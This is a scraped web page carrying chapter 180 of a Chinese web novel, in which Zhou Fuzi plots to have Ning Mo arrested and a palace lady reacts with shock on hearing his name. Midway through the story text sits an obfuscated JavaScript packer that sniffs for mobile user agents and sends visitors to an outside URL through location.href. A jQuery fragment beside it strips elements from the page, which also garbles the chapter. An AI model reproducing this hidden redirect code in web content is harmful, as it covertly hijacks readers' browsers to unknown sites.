默认冷灰
24号文字
方正启体

第180章 栖霞寺的姑娘!

作者:只是大虾米本书字数:K更新时间:
    与此同时。


    顺天书院。


    周夫子父子回到书院后,径直进了书房。


    周文斌一屁股坐在椅子上,脸色阴沉得能滴出水来。


    “爹,我不甘心!”


    他咬牙切齿,“那个宁默,一个外来的穷小子,凭什么?凭什么了尘方丈亲自邀请他入栖霞寺?凭什么法慧叫他宁师?凭什么那些高僧围着他转?”


    周夫子坐在案后,沉默不语。


    他当然也不甘心。


    可他不像儿子那么冲动。


    他在京城待了几十年,知道什么事能做,什么事不能做。


    栖霞寺,那是碰不得的。


    可这不代表他拿宁默没办法。


    他沉吟片刻,忽然开口:“来人。”


    一个仆人推门而入:“老爷有何吩咐?”


    “去国子监打听一下。”


    周夫子缓缓道,“那个宁默,到底是什么来路,看跟萍州书院有什么关系,有没有通过考核,现在住在哪儿,都打听清楚。”


    仆人应声而去。


    周文斌看着父亲,眼中闪过一丝希望:“爹,您有办法?”


    周夫子没有回答。


    他只是端起茶盏,抿了一口。


    目光,微微冷了几分。


    ……


    半个时辰后。


    仆人匆匆回来,躬身道:“老爷,打听到了。”


    周夫子放下茶盏:“说。”


    “那个宁默,是湘南解元,三日前进的京城。他没有京城户籍,是靠萍州书院院长方守朴担保,参加了国子监的考核,才拿到国子监的临时文牒,可以在京城逗留三日。”


    “三日后,也就是今晚子时之前,如果没有通过国子监考核,必须离京,若是逾期不离,巡检司的人就会拿人。”


    仆人顿了顿,继续道:“而且,小的还打听到,宁默的国子监考核,没有通过,他的卷子,被批了不合格。”


    周文斌眼睛一亮,霍然站起:“不合格?!”


    “是。”


    仆人点头,“国子监那边的人说,宁默的卷子,是祭酒大人亲自批的,不合格就是不合格,没有商量的余地。”


    周文斌愣了一瞬,随即大笑起来。


    “哈哈哈哈——”


    他笑得前仰后合。


    “不合格!不合格!一个连国子监考核都通不过的人,居然被了尘方丈亲自邀请入栖霞寺?那些老和尚是瞎了眼吗?”


    周夫子也笑了。


    那笑容里,满是嘲讽。


    “一个即将被逐出京城的穷小子,也值得咱们在意?”


    他站起身,负手而立,神色倨傲,吩咐道:“文斌,你去一趟巡检司。”


    周文斌一愣:“巡检司?”


    “对。”


    周夫子淡淡道,“告诉他们,萍州书院窝藏的外地学子宁默,三日期限已到,至今未离京,让他们去拿人。”


    周文斌眼睛一亮,当即抱拳:“是,爹!我这就去!”


    他转身就走,脚步生风。


    走到门口,他又停下,回头笑道:“爹,这次,我倒要看看,那个宁默还能翻出什么浪花!”


    说完,他大步离去。


    周夫子望着他的背影,嘴角勾起一抹冷笑:“方守朴啊方守朴,这下抓住你的把柄了吧……”


    “萍州书院的资格若是让给老夫,老夫……成院长了,还能亏待你们父女二人?”


    ……


    与此同时。


    京城街道上。


    宁默一行人正往回走。


    林婉儿叽叽喳喳说个不停,方若兰偶尔应一声,目光却总是不自觉地飘向宁默。


    阳光洒在青石板路上,将几人的影子拉得老长。


    走着走着,林婉儿忽然拉了拉方若兰的袖子,压低声音道:“若兰,你走那么慢干什么?快跟上啊。”


    她说着,悄悄推了方若兰一把。


    方若兰一个踉跄,又撞到了宁默身上。


    这一次,她直接撞进了他怀里。


    “啊——”


    她惊呼一声,慌忙想要后退,却被宁默轻轻扶住。


    “方姑娘小心。”


    宁默的声音温和,带着几分关切。


    方若兰只觉得心跳快得像要从嗓子眼蹦出来。


    她低着头,不敢看他,声音小得像蚊子:“对……对不起……”


    宁默笑了笑:“没事,是林姑娘推的你吧?”


    他看向林婉儿,目光里带着几分无奈。


    林婉儿嘻嘻一笑,也不否认:“我就是想让若兰走快点儿嘛,走得那么慢,什么时候才能到家?”


    方若兰瞪了林婉儿一眼,可那眼神里,却没有半分责怪,只有少女的娇羞。


    宁默松开手,笑了笑:“那就一起走吧。”


    他说着,放慢了脚步,与方若兰并肩而行,看起来郎才女貌……


    林婉儿在后面看着,忍不住捂嘴偷笑。


    ……


    与此同时。


    栖霞寺,禅房深处。


    夕阳的余晖透过窗棂洒进来,在青砖地面上投下斑驳的光影。


    禅房里檀香袅袅,一几一榻,简朴而雅致。


    一个身着素衣的女子正盘腿坐在蒲团上,手里捧着一盏茶,眉眼弯弯,心情似乎很不错。


    她看着也就二十出头的年纪,乌发简单地挽了个髻,鬓边簪着一支白玉兰花簪,衬得那张脸愈发白皙清透。


    而且她五官生得极好,眉若远山含黛,目若秋水横波,只是那眉宇间,没有半分端庄肃穆,反倒透着几分少女的俏皮。


    “了尘大师,你快说说这些天京城的八卦……就说那周夫子的儿子,是不是前些日子又去萍州书院的院长家说亲了?结果如何了?”


    她抿了口茶,眼睛亮晶晶的,满是八卦的光芒。


    了尘方丈坐在她对面的蒲团上,闻言苦笑:“娘娘……”


    “叫姑娘。”


    女子打断他,一本正经地纠正,“出了那道山门,我就是寻常人家的姑娘,不是什么娘娘。你再叫错,我可就不给你讲宫里的新鲜事了。”


    了尘方丈无奈地摇摇头:“好,姑娘……姑娘怎么知道周夫子来过?”


    “我怎么不知道?”


    女子眨眨眼,笑得狡黠,“京城就这么大点地方,有什么风吹草动能瞒得过我?”


    “再说了,周夫子那点心思,傻子都能看出来,他是看上方守朴那个破书院了吧?想借着提亲的名头,把人家闺女娶到手,再把书院吞了……好圆他的院长梦!”


    她说着,撇了撇嘴,“他那儿子周文斌,我见过一回,在街上横着走,差点撞了我的马车……”


    “事后你猜怎么着?我让人把他浸猪笼,狠狠吓唬了一回……”


    了尘方丈听着她这一番话,脸上的无奈更深了,苦笑道:“原来……那是姑娘的手笔……”


    “那是。”


    女子得意地扬起下巴,“我在宫里闷得慌,就指着这些事解闷呢!”


    “您再给我多给我讲点其他八卦,不然下次我可就不来了……”


    了尘方丈失笑:“姑娘每次来,都是老衲给您讲,老衲这点陈芝麻烂谷子的事,早就被您掏空了。”


    “那您就讲点新的嘛。”


    女子放下茶盏,托着腮,眼睛亮晶晶地看着他,“比如……今天那个加冕仪式,我没来得及看,您给我讲讲呗。那个法慧,到底有多厉害?”


    了尘方丈沉吟片刻,缓缓道:“法慧确实难得。三十岁便精通十三部大经,辩才无碍,佛理犀利。今日加冕,也算是实至名归。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17267486|198102||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    女子点点头,又问道:“那他是怎么成名的?我听说他在外连败百座寺庙,集齐了百布袈裟?”


    “正是。”


    了尘方丈颔首,“法慧游历天下,每到一寺便与人论佛,连败百座,无一败绩。这份辩才,确实难得。”


    女子眨了眨眼,忽然问道:“那他是天生就这么厉害,还是有什么机缘?”


    了尘方丈沉默片刻。


    他想起法慧进京后,曾与他多次论佛,每次论佛,法慧都会提起一个人。


    说那人是他半个恩师,说那人的佛理之精深,让他望尘莫及。


    “说起来……”


    了尘方丈缓缓开口,“法慧曾与老衲说过,他之所以能有今日,全因一场论佛。”


    女子眼睛一亮:“论佛?跟谁?”


    “一个年轻人。”


    了尘方丈道,“法慧说,他曾在湘南青莲寺,与一个年轻人论佛,输得心服口服,那场论佛,胜过他十年苦修。”


    女子愣住了。


    湘南?


    年轻人?


    女子回过神来,好奇道:“那个年轻人叫什么名字?从湘南来的……够远的!”


    了尘方丈道:“老衲未曾细问。不过今日加冕仪式上,倒是有个插曲。”


    女子连忙追问:“什么插曲?”


    了尘方丈便将今日在广场上发生的事说了一遍——


    后面他邀请,但那年轻人却说自己是个俗人,尘缘未了,婉拒了。


    女子听着,眼睛越来越亮。


    “他拒绝了?”


    她脱口而出,只觉得这次加冕确实有趣!


    了尘方丈点点头:“是。他说他来京城是为了参加会试,是为了金榜题名。”


    “他说他心有执念,强入佛门反倒违了本心。与其做一个心不在焉的僧人,不如做一个踏踏实实的俗人。”


    女子沉默片刻,忽然笑了。


    那笑容,明媚得像三月里的春光。


    “倒是个有趣的人。”


    她轻声说道,目光微微闪动,“大师,他叫什么名字?”


    了尘方丈想了想,道:“老衲记得,法慧叫他宁施主,似乎叫什么……宁默?”


    女子脸上的笑容僵住了。


    那一瞬间,她仿佛被雷击中了一般,整个人怔在原地。


    宁默?


    湘南?


    江州?


    她的手微微颤抖,茶盏里的茶水荡起涟漪。


    了尘方丈察觉到了她的异样,关切道:“姑……姑娘?”


    女子回过神来,深吸一口气,努力让自己平静下来。


    可那微微颤抖的睫毛,那攥紧的手指,还是出卖了她此刻的心情。


    “大师……”


    她的声音有些发紧,“您方才说,他是湘南来的?可知道是湘南哪里?”


    了尘方丈摇摇头:“老衲未曾细问。不过他是萍州书院院长方守朴新收的弟子,想来应该是在方院长那里落脚。”


    女子点点头,又问道:“江州?有没有可能是江州?”


    了尘方丈愣了愣:“这个……老衲确实不知。姑娘若想知道,老衲可派人去打听。”


    女子沉默片刻,轻轻点了点头。


    “有劳大师了。”


    她的声音恢复了平静,可那眼底深处,却有什么东西在翻涌。


    了尘方丈看着她,心中涌起一丝疑惑。


    这位祖宗,怎么听到一个名字,就这般失态?


    那个宁默,莫非与她有什么渊源?


    可他知道,有些事不该问,便没有开口。


    女子端起茶盏,抿了一口。


    茶已经凉了。


    可她浑然不觉。


    她只是望着窗外渐渐暗下来的天色,目光幽深……
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)